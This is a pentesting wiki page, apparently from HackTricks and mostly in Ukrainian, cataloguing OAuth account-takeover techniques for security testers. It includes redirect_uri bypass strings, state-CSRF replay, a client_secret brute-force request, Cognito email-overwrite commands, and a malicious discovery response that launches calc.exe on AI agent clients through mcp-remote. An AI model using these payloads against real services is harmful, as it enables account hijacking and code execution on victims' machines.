OAuth to Account takeover
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
OAuth пропонує різні версії, базові відомості доступні на OAuth 2.0 documentation. У цьому розділі основна увага приділена широко вживаному OAuth 2.0 authorization code grant type, який надає рамки авторизації, що дозволяють додатку отримувати доступ до акаунту користувача в іншому додатку або виконувати дії від його імені (the authorization server).
Розглянемо гіпотетичний сайт https://example.com, призначений для показу всіх ваших дописів у соціальних мережах, включно з приватними. Для цього використовується OAuth 2.0. https://example.com попросить вашого дозволу на доступ до ваших дописів у соціальних мережах. Як наслідок, на https://socialmedia.com з’явиться екран згоди, де буде вказано запитувані дозволи та розробника, який робить запит. Після вашої згоди https://example.com отримає можливість доступатися до ваших дописів від вашого імені.
Важливо розуміти такі компоненти в рамках OAuth 2.0:
- resource owner: Ви, як користувач/суб’єкт, надаєте дозвіл на доступ до вашого ресурсу, наприклад дописів у вашому акаунті соціальної мережі.
- resource server: сервер, що керує аутентифікованими запитами після того, як додаток отримав
access tokenвід іменіresource owner, наприклад https://socialmedia.com. - client application: додаток, що просить авторизацію у
resource owner, наприклад https://example.com. - authorization server: сервер, який видає
access tokensclient applicationпісля успішної автентифікаціїresource ownerі отримання авторизації, наприклад https://socialmedia.com. - client_id: Публічний унікальний ідентифікатор додатку.
- client_secret: Конфіденційний ключ, відомий лише додатку та authorization server, що використовується для генерації
access_tokens. - response_type: Значення, яке вказує тип запитаного токена, наприклад
code. - scope: Рівень доступу, який
client applicationзапитує уresource owner. - redirect_uri: URL, на який користувача перенаправляють після авторизації. Як правило, має відповідати попередньо зареєстрованому redirect URL.
- state: Параметр для збереження даних під час перенаправлення користувача до authorization server і назад. Його унікальність важлива як механізм захисту від CSRF.
- grant_type: Параметр, що вказує grant type і тип токена, який буде повернений.
- code: Авторизаційний код від
authorization server, який використовується разом ізclient_idтаclient_secretклієнтським додатком для отриманняaccess_token. - access_token: токен, який client application використовує для API-запитів від імені
resource owner. - refresh_token: Дає можливість додатку отримати новий
access_tokenбез повторного запиту у користувача.
Flow
Фактичний OAuth flow відбувається наступним чином:
- Ви переходите на https://example.com і вибираєте кнопку “Integrate with Social Media”.
- Сайт потім надсилає запит до https://socialmedia.com із проханням надати авторизацію, щоб додаток https://example.com міг отримати доступ до ваших дописів. Запит має структуру:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Вам тоді показують сторінку згоди.
- Після вашого підтвердження Social Media надсилає відповідь на
redirect_uriз параметрамиcodeіstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com використовує цей
code, разом ізclient_idтаclient_secret, щоб зробити серверний запит для отриманняaccess_tokenвід вашого імені, надаючи доступ до дозволів, на які ви надали згоду:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Нарешті, процес завершується тим, що https://example.com використовує ваш
access_tokenдля виклику API Social Media щоб отримати доступ
Вразливості
Відкритий redirect_uri
Згідно з RFC 6749 §3.1.2, authorization server повинен перенаправляти браузер лише на попередньо зареєстровані, точні redirect URIs. Будь-яка слабкість тут дозволяє зловмиснику змусити жертву пройти через шкідливу authorization URL так, що IdP доставить жертвин code (і state) прямо на endpoint зловмисника, який потім може його обміняти і зібрати токени.
Типовий сценарій атаки:
- Зруштувати
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackі надіслати його жертві. - Жертва аутентифікується та погоджується на scopes.
- IdP редиректить на
attacker.tld/callback?code=<victim-code>&state=..., де зловмисник логує запит і негайно обмінює code.
Типові помилки валідації, які варто перевірити:
- No validation – приймається будь-яка абсолютна URL, що призводить до миттєвого викрадення
code. - Weak substring/regex checks on the host – обхід за допомогою схожих доменів, таких як
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, абоmatch.com@evil.com. - IDN homograph mismatches – валідація відбувається на punycode формі (
xn--), але браузер редиректить на Unicode-домен, який контролює зловмисник. - Arbitrary paths on an allowed host – вказівка
redirect_uriна/openredirect?next=https://attacker.tldабо будь-який XSS/user-content endpoint може призвести до витокуcodeчерез ланцюжкові редиректи, Referer заголовки або ін’єкційний JavaScript. - Directory constraints without normalization – патерни на кшталт
/oauth/*можна обійти через/oauth/../anything. - Wildcard subdomains – прийняття
*.example.comозначає, що будь-яке захоплення (dangling DNS, S3 bucket тощо) одразу дає дійсний callback. - Non-HTTPS callbacks – пропуск
http://URI дає мережевим зловмисникам (Wi‑Fi, корпоративний проксі) можливість перехопити code під час передачі.
Також перевірте допоміжні параметри типу redirect (client_uri, policy_uri, tos_uri, initiate_login_uri тощо) і OpenID discovery document (/.well-known/openid-configuration) на наявність додаткових endpointів, які можуть успадкувати ті самі помилки валідації.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Прив’язка redirect_uri до «owned/first-party domains» не допомагає, якщо будь-який allowlisted домен виставляє шляхи чи контексти виконання, контрольовані зловмисником (legacy app platforms, user namespaces, CMS uploads тощо). Якщо OAuth/federated login flow повертає токени в URL (query або hash), зловмисник може:
- Запустити легітимний флоу, щоб сформувати pre-token (наприклад,
etokenу багатокроковому Accounts Center/FXAuth флоу). - Надіслати жертві authorization URL, який встановлює allowlisted домен як
redirect_uri/base_uri, але вказуєnext/path у неймспейс, контрольований зловмисником (наприклад,https://apps.facebook.com/<attacker_app>). - Після того як жертва підтверджує, IdP редиректить на шлях, контрольований зловмисником, із чутливими значеннями в URL (
token,blob, codes тощо). - JavaScript на тій сторінці читає
window.locationі ексфільтрує значення, незважаючи на те, що домен вважається «trusted». - Відтворити перехоплені значення проти привілейованих downstream endpointів, які очікують лише токени, передані через redirect. Приклади з FXAuth флоу:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS у реалізації redirect
Як зазначено в цьому звіті bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html може бути так, що redirect URL відображається в відповіді сервера після автентифікації користувача, що робить його вразливим до XSS. Можливий payload для тестування:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Improper handling of state parameter
Параметр state — це CSRF-токен для Authorization Code flow: клієнт має згенерувати криптографічно випадкове значення для кожного екземпляра браузера, зберегти його в місці, до якого може дістатися тільки цей браузер (cookie, local storage тощо), відправити його в authorization request і відхилити будь-яку відповідь, яка не повертає те саме значення. Якщо значення статичне, передбачуване, опціональне або не прив’язане до сесії користувача, атака дозволяє зловмиснику завершити власний OAuth-потік, перехопити фінальний запит з ?code= (не відправляючи його) і пізніше змусити браузер жертви повторно виконати цей запит, внаслідок чого акаунт жертви буде пов’язано з профілем зловмисника в identity provider.
Шаблон replay-атаки завжди однаковий:
- Зловмисник автентифікується в IdP зі своїм акаунтом і перехоплює останній редірект, що містить
code(і будь-якийstate). - Він відкидає цей запит, зберігає URL і пізніше використовує будь-який CSRF-примітив (посилання, iframe, авто-надсилаюча форма), щоб змусити браузер жертви його завантажити.
- Якщо клієнт не перевіряє
state, додаток обробляє результат авторизації зловмисника і залогінює зловмисника в акаунт жертви.
Практичний чекліст для обробки state під час тестування:
- Missing
stateentirely – якщо параметр ніколи не з’являється, весь логін вразливий до CSRF. statenot required – видаліть його з початкового запиту; якщо IdP усе ще видає коди, які клієнт приймає, захист є опціональним.- Returned
statenot validated – змініть значення в відповіді (Burp, MITM proxy). Прийняття невідповідних значень означає, що збережений токен ніколи не порівнюється. - Predictable or purely data-driven
state– багато додатків кладуть redirect-шляхи або JSON-об’єкти вstateбез додавання ентропії, дозволяючи атакуючим вгадувати дійсні значення і повторювати потоки. Завжди додавайте сильну ентропію перед/після кодування даних. statefixation – якщо додаток дозволяє користувачам задавати значенняstate(наприклад, через скрафчені authorization URLs) і повторно використовує його протягом потоку, зловмисник може закріпити відоме значення і повторно використовувати його для багатьох жертв.
PKCE може доповнювати state (особливо для public clients), зв’язуючи authorization code з code verifier, але веб-клієнти все одно повинні відстежувати state, щоб запобігти міжкористувацьким CSRF/прив’язці акаунтів.
Pre Account Takeover
- Without Email Verification on Account Creation: Зловмисники можуть заздалегідь створити акаунт, використовуючи email жертви. Якщо пізніше жертва увійде через сторонній сервіс, додаток може випадково прив’язати цей сторонній акаунт до попередньо створеного акаунта зловмисника, що призведе до несанкціонованого доступу.
- Exploiting Lax OAuth Email Verification: Зловмисники можуть експлуатувати OAuth-сервіси, які не перевіряють email, зареєструвавшись у сервісі, а потім змінивши email акаунта на email жертви. Цей метод аналогічно створює ризик несанкціонованого доступу до акаунту, схожий на перший сценарій, але іншим вектором атаки.
Disclosure of Secrets
Параметр client_id навмисно публічний, але client_secret ніколи не повинен бути відновлюваним кінцевими користувачами. Деплойменти Authorization Code, які вбудовують секрет у mobile APKs, desktop clients, or single-page apps, фактично передають ці облікові дані будь-кому, хто може завантажити пакет. Завжди перевіряйте public clients шляхом:
- Розпакування APK/IPA, desktop installer або Electron app і grep-інгу на
client_secret, Base64-блоків, що декодуються в JSON, або хардкоджених OAuth endpoint-ів. - Перегляду згуртованих config-файлів (plist, JSON, XML) або декомпільованих рядків на предмет client credentials.
Після того як зловмисник витягне секрет, йому залишиться лише вкрасти будь-який authorization code жертви (через слабкий redirect_uri, логи тощо), щоб самостійно звернутися до /token і отримати access/refresh токени без участі легітимного додатку. Вважайте public/native clients нездатними зберігати секрети — вони повинні покладатися на PKCE (RFC 7636), щоб довести володіння per-instance code verifier замість статичного секрету. Під час тестування підтвердіть, чи PKCE є обов’язковим і чи бекенд дійсно відхиляє обміни токенів, які не мають або client_secret, або дійсного code_verifier.
Client Secret Bruteforce
Ви можете спробувати виконати bruteforce the client_secret провайдера сервісу разом з identity provider, щоб спробувати вкрасти акаунти.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location артефакти leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.
Access Token збережений в історії браузера
The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs – if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Тривалий Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse – send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token не прив’язаний до клієнта
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Для детальнішої інформації про те, як зловживати AWS Cognito перегляньте AWS Cognito - Unauthenticated Enum Access.
Зловживання token інших додатків
Як згадується в цьому writeup, OAuth flows, які очікують отримати token (а не code), можуть бути вразливими, якщо вони не перевіряють, чи належить цей token додатку.
Це тому, що зловмисник може створити application, який підтримує OAuth і логін через Facebook (наприклад) у своєму власному додатку. Потім, коли жертва увійде через Facebook у додаток зловмисника, зловмисник може отримати OAuth token користувача, виданий його додатку, і використати його, щоб увійти в OAuth-додаток жертви, використовуючи token користувача-жертви.
Caution
Отже, якщо зловмисник вдасться змусити користувача звернутися до його власного OAuth-додатка, він зможе захопити обліковий запис жертви в додатках, які очікують token і не перевіряють, чи був token виданий їхньому app ID.
Два посилання та cookie
Згідно з цю writeup, можна було змусити жертву відкрити сторінку з returnUrl, що вказує на хост зловмисника. Ця інформація зберігалася в cookie (RU) і на пізнішому кроці prompt питав user, чи хоче він надати доступ цьому хосту зловмисника.
Щоб обійти цей prompt, можна відкрити вкладку для ініціації OAuth flow, яка встановить цей RU cookie через returnUrl, закрити вкладку до появи prompt і відкрити нову вкладку без цього значення. Тоді prompt не повідомлятиме про хост зловмисника, але cookie буде встановлено на нього, тому token буде відправлено на хост зловмисника у редиректі.
Prompt Interaction Bypass
Як пояснюється в цьому відео, деякі реалізації OAuth дозволяють вказати GET-параметр prompt як None (&prompt=none), щоб не просити користувачів підтверджувати наданий доступ у веб-підказці, якщо вони вже увійшли в платформу.
response_mode
Як пояснюється в цьому відео, можна вказати параметр response_mode, щоб визначити, де буде передано code у фінальному URL:
response_mode=query-> The code is provided inside a GET parameter:?code=2397rf3gu93fresponse_mode=fragment-> The code is provided inside the URL fragment parameter#code=2397rf3gu93fresponse_mode=form_post-> The code is provided inside a POST form with an input calledcodeand the valueresponse_mode=web_message-> The code is send in a post message:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs — ідеальні цілі для clickjacking: якщо їх можна помістити у фрейм, зловмисник може накласти власну графіку, сховати справжні кнопки та обманом змусити користувачів дозволити небезпечні scopes або прив’язати акаунти. Створюйте PoC, що:
- Завантажують IdP authorization URL всередину
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Використовують абсолютне позиціювання/прозорість, щоб вирівняти фейкові кнопки з прихованими Allow/Approve контролами.
- За бажанням попередньо заповнюють параметри (scopes, redirect URI), щоб вкрадена згода одразу приносила користь зловмиснику.
Під час тестування перевірте, що сторінки IdP відправляють або X-Frame-Options: DENY/SAMEORIGIN, або обмежувальний Content-Security-Policy: frame-ancestors 'none'. Якщо жоден з них не присутній, продемонструйте ризик за допомогою інструментів, наприклад NCC Group’s clickjacking PoC generator, і зафіксуйте, як легко жертва авторизує додаток зловмисника. Для додаткових ідей по payload див. Clickjacking.
OAuth ROPC flow - 2 FA bypass
Згідно з цією публікацією, це OAuth flow, який дозволяє входити в OAuth за допомогою username і password. Якщо під час цього простого flow повертається token з доступом до всіх дій користувача, то можна обійти 2FA, використавши цей token.
ATO on web page redirecting based on open redirect to referrer
У цьому blogpost описано, як можна зловживати open redirect, використовуючи значення з referrer, щоб перевести OAuth у ATO. Атака була такою:
- Жертва заходить на веб-сторінку зловмисника.
- Жертва відкриває зловмисне посилання і opener запускає Google OAuth flow з
response_type=id_token,code&prompt=noneяк додаткові параметри, використовуючи як referrer сайт зловмисника. - В opener, після того як провайдер авторизує жертву, він відправляє її назад на значення параметра
redirect_uri(веб жертви) з 30X кодом, який все ще зберігає сайт зловмисника в referer. - Веб-сайт жертви запускає open redirect на основі referrer, перенаправляючи користувача на сайт зловмисника; оскільки
response_typeбувid_token,code, код буде надіслано назад зловмиснику у fragment URL, що дозволить йому захопити акаунт користувача через Google на сайті жертви.
SSRFs parameters
Перегляньте це дослідження для детальніших відомостей про цю техніку.
Dynamic Client Registration в OAuth слугує менш очевидним, але критичним вектором для вразливостей безпеки, зокрема для атак типу SSRF. Ця кінцева точка дозволяє OAuth-серверам отримувати деталі про client applications, включно з чутливими URL, які можна експлуатувати.
Ключові моменти:
- Dynamic Client Registration часто розміщується за маршрутом
/registerі приймає деталі на кшталтclient_name,client_secret,redirect_uris, а також URL для логотипів або JSON Web Key Sets (JWKs) через POST-запити. - Ця можливість відповідає специфікаціям у RFC7591 та OpenID Connect Registration 1.0, які містять параметри, потенційно вразливі до SSRF.
- Процес реєстрації може ненавмисно піддавати сервери SSRF у кількох випадках:
logo_uri: URL логотипу client application, який може бути запрошений сервером, викликаючи SSRF або приводячи до XSS, якщо URL обробляється неналежним чином.jwks_uri: URL до JWK документа клієнта, який, якщо зловмисно створений, може змусити сервер робити вихідні запити до сервера, контрольованого зловмисником.sector_identifier_uri: посилання на JSON-масивredirect_uris, який сервер може запитати, створюючи можливість SSRF.request_uris: перелік дозволених request URIs для клієнта, що може бути експлуатований, якщо сервер запитує ці URI на початку процесу авторизації.
Стратегія експлуатації:
- SSRF можна викликати, зареєструвавши нового клієнта з шкідливими URL у параметрах на кшталт
logo_uri,jwks_uriабоsector_identifier_uri. - Хоча пряму експлуатацію через
request_urisможе пом’якшувати використання білих списків, надання попередньо зареєстрованого, контрольованого зловмисникомrequest_uriможе сприяти SSRF під час фази авторизації.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Дослідження по CVE-2025-6514 (що впливає на mcp-remote клієнти, такі як Claude Desktop, Cursor або Windsurf) показує, як динамічне OAuth discovery перетворюється на примітив RCE, коли клієнт пересилає метадані IdP прямо в операційну систему. Віддалений MCP сервер повертає контрольований зловмисником authorization_endpoint під час discovery обміну (/.well-known/openid-configuration або будь-яке RPC метаданих). mcp-remote ≤0.1.15 потім викликатиме системний URL handler (start, open, xdg-open тощо) з тим рядком, що надійшов, тож будь-яка схема/шлях, яку підтримує ОС, виконається локально.
Хід атаки
- Вказати desktop agent на ворожий MCP/OAuth сервер (
npx mcp-remote https://evil). Агент отримує401плюс метадані. - Сервер відповідає JSON на зразок:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Клієнт запускає обробник ОС для наданого URI. Windows приймає payloads на кшталт
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux приймаютьfile:///Applications/Calculator.app/...або навіть кастомні схеми, такі якcmd://bash -lc '<payload>', якщо вони зареєстровані. - Оскільки це відбувається до будь-якої взаємодії користувача, достатньо просто налаштувати клієнт для зв’язку з сервером атакуючого, щоб отримати виконання коду.
How to test
- Націльтеся на будь-який OAuth-capable desktop/agent, який виконує discovery по HTTP(S) і відкриває отримані endpoints локально (Electron apps, CLI helpers, thick clients).
- Перехопіть або розмістіть discovery response і замініть
authorization_endpoint,device_authorization_endpoint, або подібні поля наfile://,cmd://, UNC paths або інші небезпечні схеми. - Спостерігайте, чи клієнт валідовує схему/хост. Відсутність валідації призводить до негайного виконання в контексті користувача і підтверджує проблему.
- Повторіть з різними схемами, щоб промапити всю attack surface (наприклад,
ms-excel:,data:text/html,, custom protocol handlers) і продемонструвати кросплатформенний охват.
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:
- Some Authorization Servers do not ensure that these properties (like email) remain immutable.
- In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
- An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
- Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.
Redirect Scheme Hijacking
У мобільних реалізаціях OAuth додатки використовують custom URI schemes для отримання редиректів з Authorization Codes. Проте, оскільки кілька додатків можуть зареєструвати ту ж схему на пристрої, припущення, що тільки легітимний клієнт контролює redirect URI, порушується. На Android, наприклад, Intent URI на кшталт com.example.app:// ловиться на основі схеми та опціональних фільтрів, визначених в app’s intent-filter. Оскільки Android’s intent resolution може бути широким — особливо якщо вказана тільки схема — атакуючий може зареєструвати шкідливий додаток з ретельно сформованим intent filter, щоб перехопити authorization code. Це може enable an account takeover або через взаємодію з користувачем (коли кілька apps мають право обробляти intent), або через техніки обходу, що експлуатують надмірно специфічні фільтри, як детально показано в Ostorlab’s assessment flowchart.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


